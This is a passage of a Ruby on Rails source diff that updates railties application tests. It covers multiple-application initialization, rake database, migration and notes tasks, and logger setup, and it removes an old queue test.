+ Rails.application.middleware.map(&:klass).map(&:name)
end
end
end
diff --git a/railties/test/application/multiple_applications_test.rb b/railties/test/application/multiple_applications_test.rb
new file mode 100644
index 0000000000..cddc79cc85
--- /dev/null
+++ b/railties/test/application/multiple_applications_test.rb
@@ -0,0 +1,176 @@
+require 'isolation/abstract_unit'
+
+module ApplicationTests
+ class MultipleApplicationsTest < ActiveSupport::TestCase
+ include ActiveSupport::Testing::Isolation
+
+ def setup
+ build_app(initializers: true)
+ boot_rails
+ require "#{rails_root}/config/environment"
+ Rails.application.config.some_setting = 'something_or_other'
+ end
+
+ def teardown
+ teardown_app
+ end
+
+ def test_cloning_an_application_makes_a_shallow_copy_of_config
+ clone = Rails.application.clone
+
+ assert_equal Rails.application.config, clone.config, "The cloned application should get a copy of the config"
+ assert_equal Rails.application.config.some_setting, clone.config.some_setting, "The some_setting on the config should be the same"
+ end
+
+ def test_inheriting_multiple_times_from_application
+ new_application_class = Class.new(Rails::Application)
+
+ assert_not_equal Rails.application.object_id, new_application_class.instance.object_id
+ end
+
+ def test_initialization_of_multiple_copies_of_same_application
+ application1 = AppTemplate::Application.new
+ application2 = AppTemplate::Application.new
+
+ assert_not_equal Rails.application.object_id, application1.object_id, "New applications should not be the same as the original application"
+ assert_not_equal Rails.application.object_id, application2.object_id, "New applications should not be the same as the original application"
+ end
+
+ def test_initialization_of_application_with_previous_config
+ application1 = AppTemplate::Application.create(config: Rails.application.config)
+ application2 = AppTemplate::Application.create
+
+ assert_equal Rails.application.config, application1.config, "Creating a new application while setting an initial config should result in the same config"
+ assert_not_equal Rails.application.config, application2.config, "New applications without setting an initial config should not have the same config"
+ end
+
+ def test_initialization_of_application_with_previous_railties
+ application1 = AppTemplate::Application.create(railties: Rails.application.railties)
+ application2 = AppTemplate::Application.create
+
+ assert_equal Rails.application.railties, application1.railties
+ assert_not_equal Rails.application.railties, application2.railties
+ end
+
+ def test_initialize_new_application_with_all_previous_initialization_variables
+ application1 = AppTemplate::Application.create(
+ config: Rails.application.config,
+ railties: Rails.application.railties,
+ routes_reloader: Rails.application.routes_reloader,
+ reloaders: Rails.application.reloaders,
+ routes: Rails.application.routes,
+ helpers: Rails.application.helpers,
+ app_env_config: Rails.application.env_config
+ )
+
+ assert_equal Rails.application.config, application1.config
+ assert_equal Rails.application.railties, application1.railties
+ assert_equal Rails.application.routes_reloader, application1.routes_reloader
+ assert_equal Rails.application.reloaders, application1.reloaders
+ assert_equal Rails.application.routes, application1.routes
+ assert_equal Rails.application.helpers, application1.helpers
+ assert_equal Rails.application.env_config, application1.env_config
+ end
+
+ def test_rake_tasks_defined_on_different_applications_go_to_the_same_class
+ run_count = 0
+
+ application1 = AppTemplate::Application.new
+ application1.rake_tasks do
+ run_count += 1
+ end
+
+ application2 = AppTemplate::Application.new
+ application2.rake_tasks do
+ run_count += 1
+ end
+
+ require "#{app_path}/config/environment"
+
+ assert_equal 0, run_count, "The count should stay at zero without any calls to the rake tasks"
+ require 'rake'
+ require 'rake/testtask'
+ require 'rdoc/task'
+ Rails.application.load_tasks
+ assert_equal 2, run_count, "Calling a rake task should result in two increments to the count"
+ end
+
+ def test_multiple_applications_can_be_initialized
+ assert_nothing_raised { AppTemplate::Application.new }
+ end
+
+ def test_initializers_run_on_different_applications_go_to_the_same_class
+ application1 = AppTemplate::Application.new
+ run_count = 0
+
+ AppTemplate::Application.initializer :init0 do
+ run_count += 1
+ end
+
+ application1.initializer :init1 do
+ run_count += 1
+ end
+
+ AppTemplate::Application.new.initializer :init2 do
+ run_count += 1
+ end
+
+ assert_equal 0, run_count, "Without loading the initializers, the count should be 0"
+
+ # Set config.eager_load to false so that an eager_load warning doesn't pop up
+ AppTemplate::Application.new { config.eager_load = false }.initialize!
+
+ assert_equal 3, run_count, "There should have been three initializers that incremented the count"
+ end
+
+ def test_consoles_run_on_different_applications_go_to_the_same_class
+ run_count = 0
+ AppTemplate::Application.console { run_count += 1 }
+ AppTemplate::Application.new.console { run_count += 1 }
+
+ assert_equal 0, run_count, "Without loading the consoles, the count should be 0"
+ Rails.application.load_console
+ assert_equal 2, run_count, "There should have been two consoles that increment the count"
+ end
+
+ def test_generators_run_on_different_applications_go_to_the_same_class
+ run_count = 0
+ AppTemplate::Application.generators { run_count += 1 }
+ AppTemplate::Application.new.generators { run_count += 1 }
+
+ assert_equal 0, run_count, "Without loading the generators, the count should be 0"
+ Rails.application.load_generators
+ assert_equal 2, run_count, "There should have been two generators that increment the count"
+ end
+
+ def test_runners_run_on_different_applications_go_to_the_same_class
+ run_count = 0
+ AppTemplate::Application.runner { run_count += 1 }
+ AppTemplate::Application.new.runner { run_count += 1 }
+
+ assert_equal 0, run_count, "Without loading the runners, the count should be 0"
+ Rails.application.load_runner
+ assert_equal 2, run_count, "There should have been two runners that increment the count"
+ end
+
+ def test_isolate_namespace_on_an_application
+ assert_nil Rails.application.railtie_namespace, "Before isolating namespace, the railtie namespace should be nil"
+ Rails.application.isolate_namespace(AppTemplate)
+ assert_equal Rails.application.railtie_namespace, AppTemplate, "After isolating namespace, we should have a namespace"
+ end
+
+ def test_inserting_configuration_into_application
+ app = AppTemplate::Application.new(config: Rails.application.config)
+ app.config.some_setting = "a_different_setting"
+ assert_equal "a_different_setting", app.config.some_setting, "The configuration's some_setting should be set."
+
+ new_config = Rails::Application::Configuration.new("root_of_application")
+ new_config.some_setting = "some_setting_dude"
+ app.config = new_config
+
+ assert_equal "some_setting_dude", app.config.some_setting, "The configuration's some_setting should have changed."
+ assert_equal "root_of_application", app.config.root, "The root should have changed to the new config's root."
+ assert_equal new_config, app.config, "The application's config should have changed to the new config."
+ end
+ end
+end
diff --git a/railties/test/application/paths_test.rb b/railties/test/application/paths_test.rb
index 2265d220ab..4029984ce9 100644
--- a/railties/test/application/paths_test.rb
+++ b/railties/test/application/paths_test.rb
@@ -59,8 +59,6 @@ module ApplicationTests
assert eager_load.include?(root("app/controllers"))
assert eager_load.include?(root("app/helpers"))
assert eager_load.include?(root("app/models"))
- assert !eager_load.include?(root("app/views")), "expected to not be in the eager_load_path"
- assert !eager_load.include?(root("app/assets")), "expected to not be in the eager_load_path"
end
test "environments has a glob equal to the current environment" do
@@ -75,18 +73,11 @@ module ApplicationTests
assert_in_load_path "vendor"
assert_not_in_load_path "app", "views"
- assert_not_in_load_path "app", "assets"
assert_not_in_load_path "config"
assert_not_in_load_path "config", "locales"
assert_not_in_load_path "config", "environments"
assert_not_in_load_path "tmp"
assert_not_in_load_path "tmp", "cache"
end
-
- test "deprecated children method" do
- assert_deprecated "children is deprecated and will be removed from Rails 4.1." do
- @paths["app/assets"].children
- end
- end
end
end
diff --git a/railties/test/application/queue_test.rb b/railties/test/application/queue_test.rb
deleted file mode 100644
index 219a35da35..0000000000
--- a/railties/test/application/queue_test.rb
+++ /dev/null
@@ -1,154 +0,0 @@
-require 'isolation/abstract_unit'
-
-module ApplicationTests
- class QueueTest < ActiveSupport::TestCase
- include ActiveSupport::Testing::Isolation
-
- def setup
- build_app
- boot_rails
- end
-
- def teardown
- teardown_app
- end
-
- def app_const
- @app_const ||= Class.new(Rails::Application)
- end
-
- test "the queue is a SynchronousQueue in test mode" do
- app("test")
- assert_kind_of ActiveSupport::SynchronousQueue, Rails.application.queue
- assert_kind_of ActiveSupport::SynchronousQueue, Rails.queue
- end
-
- test "the queue is a SynchronousQueue in development mode" do
- app("development")
- assert_kind_of ActiveSupport::SynchronousQueue, Rails.application.queue
- assert_kind_of ActiveSupport::SynchronousQueue, Rails.queue
- end
-
- class ThreadTrackingJob
- def initialize
- @origin = Thread.current.object_id
- end
-
- def run
- @target = Thread.current.object_id
- end
-
- def ran_in_different_thread?
- @origin != @target
- end
-
- def ran?
- @target
- end
- end
-
- test "in development mode, an enqueued job will be processed in the same thread" do
- app("development")
-
- job = ThreadTrackingJob.new
- Rails.queue.push job
- sleep 0.1
-
- assert job.ran?, "Expected job to be run"
- refute job.ran_in_different_thread?, "Expected job to run in the same thread"
- end
-
- test "in test mode, an enqueued job will be processed in the same thread" do
- app("test")
-
- job = ThreadTrackingJob.new
- Rails.queue.push job
- sleep 0.1
-
- assert job.ran?, "Expected job to be run"
- refute job.ran_in_different_thread?, "Expected job to run in the same thread"
- end
-
- test "in production, automatically spawn a queue consumer in a background thread" do
- add_to_env_config "production", <<-RUBY
- config.queue = ActiveSupport::Queue.new
- RUBY
-
- app("production")
-
- assert_nil Rails.application.config.queue_consumer
- assert_kind_of ActiveSupport::ThreadedQueueConsumer, Rails.application.queue_consumer
- assert_equal Rails.logger, Rails.application.queue_consumer.logger
- end
-
- test "attempting to marshal a queue will raise an exception" do
- app("test")
- assert_raises TypeError do
- Marshal.dump Rails.queue
- end
- end
-
- def setup_custom_queue
- add_to_env_config "production", <<-RUBY
- require "my_queue"
- config.queue = MyQueue.new
- RUBY
-
- app_file "lib/my_queue.rb", <<-RUBY
- class MyQueue
- def push(job)
- job.run
- end
- end
- RUBY
-
- app("production")
- end
-
- test "a custom queue implementation can be provided" do
- setup_custom_queue
-
- assert_kind_of MyQueue, Rails.queue
-
- job = Struct.new(:id, :ran) do
- def run
- self.ran = true
- end
- end
-
- job1 = job.new(1)
- Rails.queue.push job1
-
- assert_equal true, job1.ran
- end
-
- test "a custom consumer implementation can be provided" do
- add_to_env_config "production", <<-RUBY
- require "my_queue_consumer"
- config.queue = ActiveSupport::Queue.new
- config.queue_consumer = MyQueueConsumer.new
- RUBY
-
- app_file "lib/my_queue_consumer.rb", <<-RUBY
- class MyQueueConsumer
- attr_reader :started
-
- def start
- @started = true
- end
- end
- RUBY
-
- app("production")
-
- assert_kind_of MyQueueConsumer, Rails.application.queue_consumer
- assert Rails.application.queue_consumer.started
- end
-
- test "default consumer is not used with custom queue implementation" do
- setup_custom_queue
-
- assert_nil Rails.application.queue_consumer
- end
- end
-end
diff --git a/railties/test/application/rack/logger_test.rb b/railties/test/application/rack/logger_test.rb
index 701843a6fd..0082ec9cd2 100644
--- a/railties/test/application/rack/logger_test.rb
+++ b/railties/test/application/rack/logger_test.rb
@@ -11,10 +11,12 @@ module ApplicationTests
def setup
build_app
+ add_to_config <<-RUBY
+ config.logger = ActiveSupport::LogSubscriber::TestHelper::MockLogger.new
+ RUBY
+
require "#{app_path}/config/environment"
super
- @logger = MockLogger.new
- Rails.stubs(:logger).returns(@logger)
end
def teardown
@@ -23,7 +25,7 @@ module ApplicationTests
end
def logs
- @logs ||= @logger.logged(:info).join("\n")
+ @logs ||= Rails.logger.logged(:info).join("\n")
end
test "logger logs proper HTTP GET verb and path" do
diff --git a/railties/test/application/rake/dbs_test.rb b/railties/test/application/rake/dbs_test.rb
index ccb47663d4..0a5873bcbf 100644
--- a/railties/test/application/rake/dbs_test.rb
+++ b/railties/test/application/rake/dbs_test.rb
@@ -1,4 +1,5 @@
require "isolation/abstract_unit"
+require "active_support/core_ext/string/strip"
module ApplicationTests
module RakeTests
@@ -20,60 +21,53 @@ module ApplicationTests
end
def set_database_url
- ENV['DATABASE_URL'] = "sqlite3://:@localhost/#{database_url_db_name}"
+ ENV['DATABASE_URL'] = "sqlite3:#{database_url_db_name}"
+ # ensure it's using the DATABASE_URL
+ FileUtils.rm_rf("#{app_path}/config/database.yml")
end
- def expected
- @expected ||= {}
- end
-
- def db_create_and_drop
+ def db_create_and_drop(expected_database)
Dir.chdir(app_path) do
output = `bundle exec rake db:create`
- assert_equal output, ""
- assert File.exists?(expected[:database])
- assert_equal expected[:database],
- ActiveRecord::Base.connection_config[:database]
+ assert_empty output
+ assert File.exist?(expected_database)
+ assert_equal expected_database, ActiveRecord::Base.connection_config[:database]
output = `bundle exec rake db:drop`
- assert_equal output, ""
- assert !File.exists?(expected[:database])
+ assert_empty output
+ assert !File.exist?(expected_database)
end
end
test 'db:create and db:drop without database url' do
require "#{app_path}/config/environment"
- expected[:database] = ActiveRecord::Base.configurations[Rails.env]['database']
- db_create_and_drop
- end
+ db_create_and_drop ActiveRecord::Base.configurations[Rails.env]['database']
+ end
test 'db:create and db:drop with database url' do
require "#{app_path}/config/environment"
set_database_url
- expected[:database] = database_url_db_name
- db_create_and_drop
+ db_create_and_drop database_url_db_name
end
- def db_migrate_and_status
+ def db_migrate_and_status(expected_database)
Dir.chdir(app_path) do
`rails generate model book title:string;
bundle exec rake db:migrate`
output = `bundle exec rake db:migrate:status`
- assert_match(/database:\s+\S+#{expected[:database]}/, output)
+ assert_match(%r{database:\s+\S*#{Regexp.escape(expected_database)}}, output)
assert_match(/up\s+\d{14}\s+Create books/, output)
end
end
test 'db:migrate and db:migrate:status without database_url' do
require "#{app_path}/config/environment"
- expected[:database] = ActiveRecord::Base.configurations[Rails.env]['database']
- db_migrate_and_status
+ db_migrate_and_status ActiveRecord::Base.configurations[Rails.env]['database']
end
test 'db:migrate and db:migrate:status with database_url' do
require "#{app_path}/config/environment"
set_database_url
- expected[:database] = database_url_db_name
- db_migrate_and_status
+ db_migrate_and_status database_url_db_name
end
def db_schema_dump
@@ -94,12 +88,11 @@ module ApplicationTests
db_schema_dump
end
- def db_fixtures_load
+ def db_fixtures_load(expected_database)
Dir.chdir(app_path) do
`rails generate model book title:string;
bundle exec rake db:migrate db:fixtures:load`
- assert_match(/#{expected[:database]}/,
- ActiveRecord::Base.connection_config[:database])
+ assert_match expected_database, ActiveRecord::Base.connection_config[:database]
require "#{app_path}/app/models/book"
assert_equal 2, Book.count
end
@@ -107,43 +100,60 @@ module ApplicationTests
test 'db:fixtures:load without database_url' do
require "#{app_path}/config/environment"
- expected[:database] = ActiveRecord::Base.configurations[Rails.env]['database']
- db_fixtures_load
+ db_fixtures_load ActiveRecord::Base.configurations[Rails.env]['database']
end
test 'db:fixtures:load with database_url' do
require "#{app_path}/config/environment"
set_database_url
- expected[:database] = database_url_db_name
- db_fixtures_load
+ db_fixtures_load database_url_db_name
+ end
+
+ test 'db:fixtures:load with namespaced fixture' do
+ require "#{app_path}/config/environment"
+ Dir.chdir(app_path) do
+ `rails generate model admin::book title:string;
+ bundle exec rake db:migrate db:fixtures:load`
+ require "#{app_path}/app/models/admin/book"
+ assert_equal 2, Admin::Book.count
+ end
end
- def db_structure_dump_and_load
+ def db_structure_dump_and_load(expected_database)
Dir.chdir(app_path) do
`rails generate model book title:string;
bundle exec rake db:migrate db:structure:dump`
structure_dump = File.read("db/structure.sql")
assert_match(/CREATE TABLE \"books\"/, structure_dump)
- `bundle exec rake db:drop db:structure:load`
- assert_match(/#{expected[:database]}/,
- ActiveRecord::Base.connection_config[:database])
+ `bundle exec rake environment db:drop db:structure:load`
+ assert_match expected_database, ActiveRecord::Base.connection_config[:database]
require "#{app_path}/app/models/book"
#if structure is not loaded correctly, exception would be raised
- assert Book.count, 0
+ assert_equal 0, Book.count
end
end
test 'db:structure:dump and db:structure:load without database_url' do
require "#{app_path}/config/environment"
- expected[:database] = ActiveRecord::Base.configurations[Rails.env]['database']
- db_structure_dump_and_load
+ db_structure_dump_and_load ActiveRecord::Base.configurations[Rails.env]['database']
end
test 'db:structure:dump and db:structure:load with database_url' do
require "#{app_path}/config/environment"
set_database_url
- expected[:database] = database_url_db_name
- db_structure_dump_and_load
+ db_structure_dump_and_load database_url_db_name
+ end
+
+ test 'db:structure:dump does not dump schema information when no migrations are used' do
+ Dir.chdir(app_path) do
+ # create table without migrations
+ `bundle exec rails runner 'ActiveRecord::Base.connection.create_table(:posts) {|t| t.string :title }'`
+
+ stderr_output = capture(:stderr) { `bundle exec rake db:structure:dump` }
+ assert_empty stderr_output
+ structure_dump = File.read("db/structure.sql")
+ assert_match(/CREATE TABLE \"posts\"/, structure_dump)
+ end
end
def db_test_load_structure
@@ -151,12 +161,12 @@ module ApplicationTests
`rails generate model book title:string;
bundle exec rake db:migrate db:structure:dump db:test:load_structure`
ActiveRecord::Base.configurations = Rails.application.config.database_configuration
- ActiveRecord::Base.establish_connection 'test'
+ ActiveRecord::Base.establish_connection :test
require "#{app_path}/app/models/book"
#if structure is not loaded correctly, exception would be raised
- assert Book.count, 0
- assert_match(/#{ActiveRecord::Base.configurations['test']['database']}/,
- ActiveRecord::Base.connection_config[:database])
+ assert_equal 0, Book.count
+ assert_match ActiveRecord::Base.configurations['test']['database'],
+ ActiveRecord::Base.connection_config[:database]
end
end
@@ -165,10 +175,33 @@ module ApplicationTests
db_test_load_structure
end
- test 'db:test:load_structure with database_url' do
- require "#{app_path}/config/environment"
- set_database_url
- db_test_load_structure
+ test 'db:setup loads schema and seeds database' do
+ begin
+ @old_rails_env = ENV["RAILS_ENV"]
+ @old_rack_env = ENV["RACK_ENV"]
+ ENV.delete "RAILS_ENV"
+ ENV.delete "RACK_ENV"
+
+ app_file 'db/schema.rb', <<-RUBY
+ ActiveRecord::Schema.define(version: "1") do
+ create_table :users do |t|
+ t.string :name
+ end
+ end
+ RUBY
+
+ app_file 'db/seeds.rb', <<-RUBY
+ puts ActiveRecord::Base.connection_config[:database]
+ RUBY
+
+ Dir.chdir(app_path) do
+ database_path = `bundle exec rake db:setup`
+ assert_equal "development.sqlite3", File.basename(database_path.strip)
+ end
+ ensure
+ ENV["RAILS_ENV"] = @old_rails_env
+ ENV["RACK_ENV"] = @old_rack_env
+ end
end
end
end
diff --git a/railties/test/application/rake/migrations_test.rb b/railties/test/application/rake/migrations_test.rb
index 0a47fd014c..a3819b93b2 100644
--- a/railties/test/application/rake/migrations_test.rb
+++ b/railties/test/application/rake/migrations_test.rb
@@ -50,15 +50,15 @@ module ApplicationTests
assert_match(/AddEmailToUsers: migrated/, output)
output = `rake db:rollback STEP=2`
- assert_match(/drop_table\("users"\)/, output)
+ assert_match(/drop_table\(:users\)/, output)
assert_match(/CreateUsers: reverted/, output)
- assert_match(/remove_column\("users", :email\)/, output)
+ assert_match(/remove_column\(:users, :email, :string\)/, output)
assert_match(/AddEmailToUsers: reverted/, output)
end
end
test 'migration status when schema migrations table is not present' do
- output = Dir.chdir(app_path){ `rake db:migrate:status` }
+ output = Dir.chdir(app_path){ `rake db:migrate:status 2>&1` }
assert_equal "Schema migrations table does not exist yet.\n", output
end
@@ -153,6 +153,52 @@ module ApplicationTests
assert_match(/up\s+\d{3,}\s+Add email to users/, output)
end
end
+
+ test 'schema generation when dump_schema_after_migration is set' do
+ add_to_config('config.active_record.dump_schema_after_migration = false')
+
+ Dir.chdir(app_path) do
+ `rails generate model book title:string;
+ bundle exec rake db:migrate`
+
+ assert !File.exist?("db/schema.rb")
+ end
+
+ add_to_config('config.active_record.dump_schema_after_migration = true')
+
+ Dir.chdir(app_path) do
+ `rails generate model author name:string;
+ bundle exec rake db:migrate`
+
+ structure_dump = File.read("db/schema.rb")
+ assert_match(/create_table "authors"/, structure_dump)
+ end
+ end
+
+ test 'default schema generation after migration' do
+ Dir.chdir(app_path) do
+ `rails generate model book title:string;
+ bundle exec rake db:migrate`
+
+ structure_dump = File.read("db/schema.rb")
+ assert_match(/create_table "books"/, structure_dump)
+ end
+ end
+
+ test 'test migration status migrated file is deleted' do
+ Dir.chdir(app_path) do
+ `rails generate model user username:string password:string;
+ rails generate migration add_email_to_users email:string;
+ rake db:migrate
+ rm db/migrate/*email*.rb`
+
+ output = `rake db:migrate:status`
+ File.write('test.txt', output)
+
+ assert_match(/up\s+\d{14}\s+Create users/, output)
+ assert_match(/up\s+\d{14}\s+\** NO FILE \**/, output)
+ end
+ end
end
end
end
diff --git a/railties/test/application/rake/notes_test.rb b/railties/test/application/rake/notes_test.rb
index 744bb93671..95087bf29f 100644
--- a/railties/test/application/rake/notes_test.rb
+++ b/railties/test/application/rake/notes_test.rb
@@ -1,4 +1,5 @@
require "isolation/abstract_unit"
+require 'rails/source_annotation_extractor'
module ApplicationTests
module RakeTests
@@ -18,42 +19,27 @@ module ApplicationTests
test 'notes finds notes for certain file_types' do
app_file "app/views/home/index.html.erb", "<% # TODO: note in erb %>"
- app_file "app/views/home/index.html.haml", "-# TODO: note in haml"
- app_file "app/views/home/index.html.slim", "/ TODO: note in slim"
- app_file "app/assets/javascripts/application.js.coffee", "# TODO: note in coffee"
app_file "app/assets/javascripts/application.js", "// TODO: note in js"
app_file "app/assets/stylesheets/application.css", "// TODO: note in css"
- app_file "app/assets/stylesheets/application.css.scss", "// TODO: note in scss"
app_file "app/controllers/application_controller.rb", 1000.times.map { "" }.join("\n") << "# TODO: note in ruby"
app_file "lib/tasks/task.rake", "# TODO: note in rake"
+ app_file 'app/views/home/index.html.builder', '# TODO: note in builder'
+ app_file 'config/locales/en.yml', '# TODO: note in yml'
+ app_file 'config/locales/en.yaml', '# TODO: note in yaml'
+ app_file "app/views/home/index.ruby", "# TODO: note in ruby"
- boot_rails
- require 'rake'
- require 'rdoc/task'
- require 'rake/testtask'
-
- Rails.application.load_tasks
-
- Dir.chdir(app_path) do
- output = `bundle exec rake notes`
- lines = output.scan(/\[([0-9\s]+)\](\s)/)
-
+ run_rake_notes do |output, lines|
assert_match(/note in erb/, output)
- assert_match(/note in haml/, output)
- assert_match(/note in slim/, output)
- assert_match(/note in ruby/, output)
- assert_match(/note in coffee/, output)
assert_match(/note in js/, output)
assert_match(/note in css/, output)
- assert_match(/note in scss/, output)
assert_match(/note in rake/, output)
+ assert_match(/note in builder/, output)
+ assert_match(/note in yml/, output)
+ assert_match(/note in yaml/, output)
+ assert_match(/note in ruby/, output)
assert_equal 9, lines.size
-
- lines.each do |line|
- assert_equal 4, line[0].size
- assert_equal ' ', line[1]
- end
+ assert_equal [4], lines.map(&:size).uniq
end
end
@@ -62,36 +48,20 @@ module ApplicationTests
app_file "config/initializers/some_initializer.rb", "# TODO: note in config directory"
app_file "db/some_seeds.rb", "# TODO: note in db directory"
app_file "lib/some_file.rb", "# TODO: note in lib directory"
- app_file "script/run_something.rb", "# TODO: note in script directory"
app_file "test/some_test.rb", 1000.times.map { "" }.join("\n") << "# TODO: note in test directory"
app_file "some_other_dir/blah.rb", "# TODO: note in some_other directory"
- boot_rails
-
- require 'rake'
- require 'rdoc/task'
- require 'rake/testtask'
-
- Rails.application.load_tasks
-
- Dir.chdir(app_path) do
- output = `bundle exec rake notes`
- lines = output.scan(/\[([0-9\s]+)\]/).flatten
-
+ run_rake_notes do |output, lines|
assert_match(/note in app directory/, output)
assert_match(/note in config directory/, output)
assert_match(/note in db directory/, output)
assert_match(/note in lib directory/, output)
- assert_match(/note in script directory/, output)
assert_match(/note in test directory/, output)
assert_no_match(/note in some_other directory/, output)
- assert_equal 6, lines.size
-
- lines.each do |line_number|
- assert_equal 4, line_number.size
- end
+ assert_equal 5, lines.size
+ assert_equal [4], lines.map(&:size).uniq
end
end
@@ -100,41 +70,83 @@ module ApplicationTests
app_file "config/initializers/some_initializer.rb", "# TODO: note in config directory"
app_file "db/some_seeds.rb", "# TODO: note in db directory"
app_file "lib/some_file.rb", "# TODO: note in lib directory"
- app_file "script/run_something.rb", "# TODO: note in script directory"
app_file "test/some_test.rb", 1000.times.map { "" }.join("\n") << "# TODO: note in test directory"
app_file "some_other_dir/blah.rb", "# TODO: note in some_other directory"
- boot_rails
-
- require 'rake'
- require 'rdoc/task'
- require 'rake/testtask'
-
- Rails.application.load_tasks
-
- Dir.chdir(app_path) do
- output = `SOURCE_ANNOTATION_DIRECTORIES='some_other_dir' bundle exec rake notes`
- lines = output.scan(/\[([0-9\s]+)\]/).flatten
-
+ run_rake_notes "SOURCE_ANNOTATION_DIRECTORIES='some_other_dir' bundle exec rake notes" do |output, lines|
assert_match(/note in app directory/, output)
assert_match(/note in config directory/, output)
assert_match(/note in db directory/, output)
assert_match(/note in lib directory/, output)
- assert_match(/note in script directory/, output)
assert_match(/note in test directory/, output)
assert_match(/note in some_other directory/, output)
- assert_equal 7, lines.size
+ assert_equal 6, lines.size
+ assert_equal [4], lines.map(&:size).uniq
+ end
+ end
- lines.each do |line_number|
- assert_equal 4, line_number.size
+ test 'custom rake task finds specific notes in specific directories' do
+ app_file "app/controllers/some_controller.rb", "# TODO: note in app directory"
+ app_file "lib/some_file.rb", "# OPTIMIZE: note in lib directory\n" << "# FIXME: note in lib directory"
+ app_file "test/some_test.rb", 1000.times.map { "" }.join("\n") << "# TODO: note in test directory"
+
+ app_file "lib/tasks/notes_custom.rake", <<-EOS
+ require 'rails/source_annotation_extractor'
+ task :notes_custom do
+ tags = 'TODO|FIXME'
+ opts = { dirs: %w(lib test), tag: true }
+ SourceAnnotationExtractor.enumerate(tags, opts)
end
+ EOS
+
+ run_rake_notes "bundle exec rake notes_custom" do |output, lines|
+ assert_match(/\[FIXME\] note in lib directory/, output)
+ assert_match(/\[TODO\] note in test directory/, output)
+ assert_no_match(/OPTIMIZE/, output)
+ assert_no_match(/note in app directory/, output)
+
+ assert_equal 2, lines.size
+ assert_equal [4], lines.map(&:size).uniq
+ end
+ end
+
+ test 'register a new extension' do
+ add_to_config %q{ config.annotations.register_extensions("scss", "sass") { |annotation| /\/\/\s*(#{annotation}):?\s*(.*)$/ } }
+ app_file "app/assets/stylesheets/application.css.scss", "// TODO: note in scss"
+ app_file "app/assets/stylesheets/application.css.sass", "// TODO: note in sass"
+
+ run_rake_notes do |output, lines|
+ assert_match(/note in scss/, output)
+ assert_match(/note in sass/, output)
+ assert_equal 2, lines.size
end
end
private
+
+ def run_rake_notes(command = 'bundle exec rake notes')
+ boot_rails
+ load_tasks
+
+ Dir.chdir(app_path) do
+ output = `#{command}`
+ lines = output.scan(/\[([0-9\s]+)\]\s/).flatten
+
+ yield output, lines
+ end
+ end
+
+ def load_tasks
+ require 'rake'
+ require 'rdoc/task'
+ require 'rake/testtask'
+
+ Rails.application.load_tasks
+ end
+
def boot_rails
super
require "#{app_path}/config/environment"
diff --git a/railties/test/application/rake_test.rb b/railties/test/application/rake_test.rb
index a8275a2e76..e8c8de9f73 100644
--- a/railties/test/application/rake_test.rb
+++ b/railties/test/application/rake_test.rb
@@ -1,5 +1,6 @@
# coding:utf-8
require "isolation/abstract_unit"
+require "active_support/core_ext/string/strip"
module ApplicationTests
class RakeTest < ActiveSupport::TestCase
@@ -8,7 +9,6 @@ module ApplicationTests
def setup
build_app
boot_rails
- FileUtils.rm_rf("#{app_path}/config/environments")
end
def teardown
@@ -29,11 +29,11 @@ module ApplicationTests
app_file "config/environment.rb", <<-RUBY
SuperMiddleware = Struct.new(:app)
- AppTemplate::Application.configure do
+ Rails.application.configure do
config.middleware.use SuperMiddleware
end
- AppTemplate::Application.initialize!
+ Rails.application.initialize!
RUBY
assert_match("SuperMiddleware", Dir.chdir(app_path){ `rake middleware` })
@@ -55,10 +55,8 @@ module ApplicationTests
assert_match "Doing something...", output
end
- def test_does_not_explode_when_accessing_a_model_with_eager_load
+ def test_does_not_explode_when_accessing_a_model
add_to_config <<-RUBY
- config.eager_load = true
-
rake_tasks do
task do_nothing: :environment do
Hello.new.world
@@ -66,81 +64,82 @@ module ApplicationTests
end
RUBY
- app_file "app/models/hello.rb", <<-RUBY
- class Hello
- def world
- puts "Hello world"
+ app_file 'app/models/hello.rb', <<-RUBY
+ class Hello
+ def world
+ puts 'Hello world'
+ end
end
- end
RUBY
- output = Dir.chdir(app_path){ `rake do_nothing` }
- assert_match "Hello world", output
- end
-
- def test_code_statistics_sanity
- assert_match "Code LOC: 5 Test LOC: 0 Code to Test Ratio: 1:0.0",
- Dir.chdir(app_path){ `rake stats` }
+ output = Dir.chdir(app_path) { `rake do_nothing` }
+ assert_match 'Hello world', output
end
- def test_rake_test_error_output
- Dir.chdir(app_path){ `rake db:migrate` }
-
- app_file "test/models/one_model_test.rb", <<-RUBY
- raise 'models'
+ def test_should_not_eager_load_model_for_rake
+ add_to_config <<-RUBY
+ rake_tasks do
+ task do_nothing: :environment do
+ end
+ end
RUBY
- app_file "test/controllers/one_controller_test.rb", <<-RUBY
- raise 'controllers'
+ add_to_env_config 'production', <<-RUBY
+ config.eager_load = true
RUBY
- app_file "test/integration/one_integration_test.rb", <<-RUBY
- raise 'integration'
+ app_file 'app/models/hello.rb', <<-RUBY
+ raise 'should not be pre-required for rake even eager_load=true'
RUBY
- silence_stderr do
- output = Dir.chdir(app_path) { `rake test 2>&1` }
- assert_match 'models', output
- assert_match 'controllers', output
- assert_match 'integration', output
+ Dir.chdir(app_path) do
+ assert system('rake do_nothing RAILS_ENV=production'),
+ 'should not be pre-required for rake even eager_load=true'
end
end
- def test_rake_test_uncommitted_always_find_git_in_parent_dir
- app_name = File.basename(app_path)
- app_dir = File.dirname(app_path)
- moved_app_name = app_name + '_moved'
-
- Dir.chdir(app_dir) do
- # Go from "./app/" to "./app/app_moved"
- FileUtils.mv(app_name, moved_app_name)
- FileUtils.mkdir(app_name)
- FileUtils.mv(moved_app_name, app_name)
- # Initialize the git repository and start the test.
- Dir.chdir(app_name) do
- `git init`
- Dir.chdir(moved_app_name){ `rake db:migrate` }
- silence_stderr { Dir.chdir(moved_app_name) { `rake test:uncommitted` } }
- assert_equal 0, $?.exitstatus
- end
- end
+ def test_code_statistics_sanity
+ assert_match "Code LOC: 5 Test LOC: 0 Code to Test Ratio: 1:0.0",
+ Dir.chdir(app_path){ `rake stats` }
end
- def test_rake_test_uncommitted_fails_with_no_scm
- Dir.chdir(app_path){ `rake db:migrate` }
- Dir.chdir(app_path) do
- silence_stderr { `rake test:uncommitted` }
- assert_equal 1, $?.exitstatus
- end
+ def test_rake_routes_calls_the_route_inspector
+ app_file "config/routes.rb", <<-RUBY
+ Rails.application.routes.draw do
+ get '/cart', to: 'cart#show'
+ end
+ RUBY
+
+ output = Dir.chdir(app_path){ `rake routes` }
+ assert_equal "Prefix Verb URI Pattern Controller#Action\n cart GET /cart(.:format) cart#show\n", output
end
- def test_rake_routes_calls_the_route_inspector
+ def test_rake_routes_with_controller_environment
app_file "config/routes.rb", <<-RUBY
